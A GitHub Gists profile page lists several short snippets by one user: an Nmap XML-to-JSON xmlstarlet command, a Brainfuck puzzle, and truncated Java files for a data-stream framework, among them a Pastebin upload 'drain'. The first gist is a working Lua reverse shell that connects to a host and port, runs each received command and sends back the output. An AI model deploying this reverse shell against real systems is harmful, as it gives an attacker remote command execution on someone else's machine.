Skip to content

Instantly share code, notes, and snippets.

Paulino Calderon cldrn

Block or report user

Report or block cldrn

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@cldrn
cldrn / lua-reverse-shell.lua
Created Oct 8, 2018
Reverse Shell For Windows and Linux in Lua
View lua-reverse-shell.lua
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
@cldrn
cldrn / portrulescript-xml2json
Created Dec 18, 2015
XMLStarlet command to convert Nmap's XML output to JSON. (Works on portrule scripts)
View portrulescript-xml2json
xmlstarlet sel -t -m "//host/ports/port/script" -o "{ip:'" -v "ancestor::host/address[@addrtype='ipv4']/@addr" -o "', hostname:'" -v "concat(ancestor::host/hostnames/hostname/@name,'')" -o "', proto:'" -v "../@protocol" -o "', port:" -v "../@portid" -o ", service:'" -v "../service/@name" -o "', script:'" -v "@id" -o "', script-output:'" -v "@output" -o "'}" -n <XML INPUT FILE>
@cldrn
cldrn / CounterBolt.java
Last active Sep 27, 2017
CounterBolt.java
View CounterBolt.java
/*
The MIT License (MIT)
Copyright (c) 2014 sinfonier-project
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
@cldrn
cldrn / brainfuck-cpmx6
Created May 28, 2015
Brainfuck @PaypalMexico #CPMX6
View brainfuck-cpmx6
++++++++++[>++++++++<-]>+.[-]++++++++++[>+++++++++++<-]>+++++++.[-]++++++++++[>+
+++++++++<-]>+++++.[-]++++++++++[>++++++++++<-]>+.[-]++++++++++[>+++++++++++<-]>
++++.[-]++++++++++[>+++++++++++<-]>+.[-]++++++++++[>+++<-]>++.[-]++++++++++[>+++
+++++++<-]>+++++++++.[-]++++++++++[>++++++++++<-]>+++++.[-]++++++++++[>+++<-]>++
.[-]++++++++++[>++++++++++<-]>+.[-]++++++++++[>+++++++++++<-]>.[-]++++++++++[>++
+++++++++<-]>++++++.[-]++++++++++[>+++++++++++<-]>++++.[-]++++++++++[>+++++++++<
-]>+++++++.[-]++++++++++[>++++++++++<-]>.[-]++++++++++[>+++++++++<-]>+++++++.[-]
++++++++++[>+++<-]>++.[-]++++++++++[>++++++++++<-]>.[-]++++++++++[>++++++++++<-]
>+.[-]++++++++++[>+++<-]>++.[-]++++++++++[>++++++<-]>+++++++.[-]++++++++++[>++++
++++<-]>.[-]++++++++++[>+++++++<-]>+++++++.[-]++++++++++[>++++++++<-]>++++++++.[
@cldrn
cldrn / PasteBinDrain.java
Last active Aug 29, 2015
PasteBinDrain.java
View PasteBinDrain.java
package com.sinfonier.drains;
import java.sql.Timestamp;
import java.util.Date;
import org.glassfish.jersey.core;
/*
* PasteBinDrain
* Drain disenado para dumpear el contenido deseado en pastebin.com.
*
* Este drain utiliza la API oficial de pastebin para publicar el contenido.
* Los campos requeridos en la peticion son:
You can’t perform that action at this time.